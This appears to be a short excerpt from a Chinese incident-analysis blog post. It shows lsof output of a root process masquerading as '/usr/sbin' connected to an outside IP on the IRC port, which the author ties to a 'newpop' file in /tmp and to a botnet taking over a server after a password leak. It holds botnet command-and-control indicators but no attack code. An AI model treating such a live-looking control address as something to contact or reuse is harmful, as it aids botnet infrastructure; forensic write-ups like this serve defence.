/usr/sbin 293584 root  mem    REG      8,17   191504     15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/sbin 293584 root  mem    REG      8,17       50     15153 /usr/lib/locale/C.UTF-8/LC_NUMERIC
/usr/sbin 293584 root    0r  FIFO      0,13      0t0 499017526 pipe
/usr/sbin 293584 root    1w  FIFO      0,13      0t0 499017527 pipe
/usr/sbin 293584 root    2w  FIFO      0,13      0t0 499017528 pipe
/usr/sbin 293584 root    3u  IPv4 504764119      0t0       TCP server-rMGU1XbC:60640->104.250.164.23:ircd (ESTABLISHED)

正好对应上之前 /tmp里找到的 newpop, 真是密码一泄漏,全部僵尸网络都过来抢肉鸡了

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。